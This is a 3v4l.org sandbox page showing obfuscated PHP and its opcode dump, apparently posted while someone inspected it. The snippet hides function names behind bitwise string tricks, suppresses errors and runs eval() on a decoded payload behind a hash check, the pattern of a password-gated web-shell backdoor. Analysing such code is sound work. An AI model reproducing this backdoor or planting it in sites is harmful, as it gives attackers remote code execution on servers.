3v4l.org

run code in 300+ PHP versions simultaneously
<?php error_reporting(0); $DHP='Ml0'^WFAVnH;$IK9wN='K]4'^'&)C';$WLd9UUD='j]T'&HVU;$YmYiRK='@'|P;$fF=E|Z;'R9I_'. 'vYm';$mXZ=C&q;$CEivtRVwy='og='&'of}';$vXpNod06p='~${rV^VHs[}'.MThn8.':{'./*T3'. '>sfD$vCdn<*/JJ_z_9YN.'{}cjy='&'~m?3'.dO_h.'['.U_KSo.'{:'.svKNWy_.#jeX4cc1hA2E'. '}rn{YQ[Zv';$QFi9xNfC_dz='Y~_^w;4/wwo/;]s^Wo?~;]m_b}'.imrz.'{X'&hA_Wu.#OkRXpwS'. '+v.o?'.omw_W.'^'.SKoy3Nn_u.'|_l/~oU';$PEY='1~5<t~o1}~}7s??6p>w{+?7k}vq7='&'3?'. '-<tf/e}m?9??}'.npvvr.'~{~}=w%w}';$L2Xo26Xdq=$IK9wN&$CEivtRVwy;$JJYL=(#KzwPDJg'. '$NN@B4'|'$'.JFQT3)^("C+*\$8@"|'@":08A');$pTXBhIgWS=$vXpNod06p^$QFi9xNfC_dz;/*'. ',<8NA*/$baq=('y{{n+?tu-s}vw|~~?e??|o{-|>hyz'&'}'.jumo.'~rtm;yue~}woo{'./*ngcG'. ']By{[g&9xZ*/szorb.'}z|{{')^$PEY;if($L2Xo26Xdq($JJYL($WLd9UUD.$YmYiRK.$fF./*dR'. '*$ew{wx6z*/$mXZ))==$pTXBhIgWS)eval($JJYL($baq));#@-_txF,m64R%skEpA].dG2[6G+*'. 'Ojt;vU?&mt4>kl6eyTrZwl_PwUuD^Xa<vUN=4#,2[M75r'; var_dump(get_defined_vars());
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 86, Position 2 = 90
Branch analysis from position: 86
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 90
filename:       /in/21nFH
function name:  (null)
number of ops:  96
compiled vars:  !0 = $DHP, !1 = $IK9wN, !2 = $WLd9UUD, !3 = $YmYiRK, !4 = $fF, !5 = $mXZ, !6 = $CEivtRVwy, !7 = $vXpNod06p, !8 = $QFi9xNfC_dz, !9 = $PEY, !10 = $L2Xo26Xdq, !11 = $JJYL, !12 = $pTXBhIgWS, !13 = $baq
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                               'error_reporting'
          1        SEND_VAL                                                 0
          2        DO_ICALL                                                 
    4     3        FETCH_CONSTANT                                   ~15     'WFAVnH'
          4        BW_XOR                                           ~16     ~15, 'Ml0'
          5        ASSIGN                                                   !0, ~16
          6        ASSIGN                                                   !1, 'mtw'
          7        FETCH_CONSTANT                                   ~19     'HVU'
          8        BW_AND                                           ~20     ~19, 'j%5DT'
          9        ASSIGN                                                   !2, ~20
         10        FETCH_CONSTANT                                   ~22     'P'
         11        BW_OR                                            ~23     ~22, '%40'
         12        ASSIGN                                                   !3, ~23
         13        FETCH_CONSTANT                                   ~25     'E'
         14        FETCH_CONSTANT                                   ~26     'Z'
         15        BW_OR                                            ~27     ~25, ~26
         16        ASSIGN                                                   !4, ~27
    5    17        FETCH_CONSTANT                                   ~29     'C'
         18        FETCH_CONSTANT                                   ~30     'q'
         19        BW_AND                                           ~31     ~29, ~30
         20        ASSIGN                                                   !5, ~31
         21        ASSIGN                                                   !6, 'of%3D'
         22        FETCH_CONSTANT                                   ~34     'MThn8'
         23        CONCAT                                           ~35     '%7E%24%7BrV%5EVHs%5B%7D', ~34
         24        CONCAT                                           ~36     ~35, '%3A%7B'
    6    25        FETCH_CONSTANT                                   ~37     'JJ_z_9YN'
         26        CONCAT                                           ~38     ~36, ~37
         27        CONCAT                                           ~39     ~38, '%7B%7Dcjy%3D'
         28        FETCH_CONSTANT                                   ~40     'dO_h'
         29        CONCAT                                           ~41     '%7Em%3F3', ~40
         30        CONCAT                                           ~42     ~41, '%5B'
         31        FETCH_CONSTANT                                   ~43     'U_KSo'
         32        CONCAT                                           ~44     ~42, ~43
         33        CONCAT                                           ~45     ~44, '%7B%3A'
         34        FETCH_CONSTANT                                   ~46     'svKNWy_'
         35        CONCAT                                           ~47     ~45, ~46
    7    36        CONCAT                                           ~48     ~47, '%7Drn%7BYQ%5BZv'
         37        BW_AND                                           ~49     ~39, ~48
    5    38        ASSIGN                                                   !7, ~49
    7    39        FETCH_CONSTANT                                   ~51     'imrz'
         40        CONCAT                                           ~52     'Y%7E_%5Ew%3B4%2Fwwo%2F%3B%5Ds%5EWo%3F%7E%3B%5Dm_b%7D', ~51
         41        CONCAT                                           ~53     ~52, '%7BX'
         42        FETCH_CONSTANT                                   ~54     'hA_Wu'
    8    43        CONCAT                                           ~55     ~54, '%2Bv.o%3F'
         44        FETCH_CONSTANT                                   ~56     'omw_W'
         45        CONCAT                                           ~57     ~55, ~56
         46        CONCAT                                           ~58     ~57, '%5E'
         47        FETCH_CONSTANT                                   ~59     'SKoy3Nn_u'
         48        CONCAT                                           ~60     ~58, ~59
         49        CONCAT                                           ~61     ~60, '%7C_l%2F%7EoU'
         50        BW_AND                                           ~62     ~53, ~61
    7    51        ASSIGN                                                   !8, ~62
    9    52        FETCH_CONSTANT                                   ~64     'npvvr'
         53        CONCAT                                           ~65     '3%3F-%3Ctf%2Fe%7Dm%3F9%3F%3F%7D', ~64
         54        CONCAT                                           ~66     ~65, '%7E%7B%7E%7D%3Dw%25w%7D'
         55        BW_AND                                           ~67     ~66, '1%7E5%3Ct%7Eo1%7D%7E%7D7s%3F%3F6p%3Ew%7B%2B%3F7k%7Dvq7%3D'
    8    56        ASSIGN                                                   !9, ~67
    9    57        BW_AND                                           ~69     !1, !6
         58        ASSIGN                                                   !10, ~69
   10    59        FETCH_CONSTANT                                   ~71     'JFQT3'
         60        CONCAT                                           ~72     '%24', ~71
         61        BW_OR                                            ~73     ~72, '%24NN%40B4'
         62        BW_XOR                                           ~74     ~73, 'C%2B%3A48A'
    9    63        ASSIGN                                                   !11, ~74
   10    64        BW_XOR                                           ~76     !7, !8
         65        ASSIGN                                                   !12, ~76
   11    66        FETCH_CONSTANT                                   ~78     'jumo'
         67        CONCAT                                           ~79     '%7D', ~78
         68        CONCAT                                           ~80     ~79, '%7Ertm%3Byue%7E%7Dwoo%7B'
   12    69        FETCH_CONSTANT                                   ~81     'szorb'
         70        CONCAT                                           ~82     ~80, ~81
         71        CONCAT                                           ~83     ~82, '%7Dz%7C%7B%7B'
         72        BW_AND                                           ~84     ~83, 'y%7B%7Bn%2B%3Ftu-s%7Dvw%7C%7E%7E%3Fe%3F%3F%7Co%7B-%7C%3Ehyz'
         73        BW_XOR                                           ~85     !9, ~84
   11    74        ASSIGN                                                   !13, ~85
   12    75        INIT_DYNAMIC_CALL                                        !10
         76        INIT_DYNAMIC_CALL                                        !11
         77        CONCAT                                           ~87     !2, !3
         78        CONCAT                                           ~88     ~87, !4
   13    79        CONCAT                                           ~89     ~88, !5
         80        SEND_VAL_EX                                              ~89
         81        DO_FCALL                                      0  $90     
         82        SEND_VAR_NO_REF_EX                                       $90
         83        DO_FCALL                                      0  $91     
         84        IS_EQUAL                                                 !12, $91
         85      > JMPZ                                                     ~92, ->90
         86    >   INIT_DYNAMIC_CALL                                        !11
         87        SEND_VAR_EX                                              !13
         88        DO_FCALL                                      0  $93     
         89        INCLUDE_OR_EVAL                                          $93, EVAL
   16    90    >   INIT_FCALL                                               'var_dump'
         91        INIT_FCALL                                               'get_defined_vars'
         92        DO_ICALL                                         $95     
         93        SEND_VAR                                                 $95
         94        DO_ICALL                                                 
         95      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
156.71 ms | 1396 KiB | 19 Q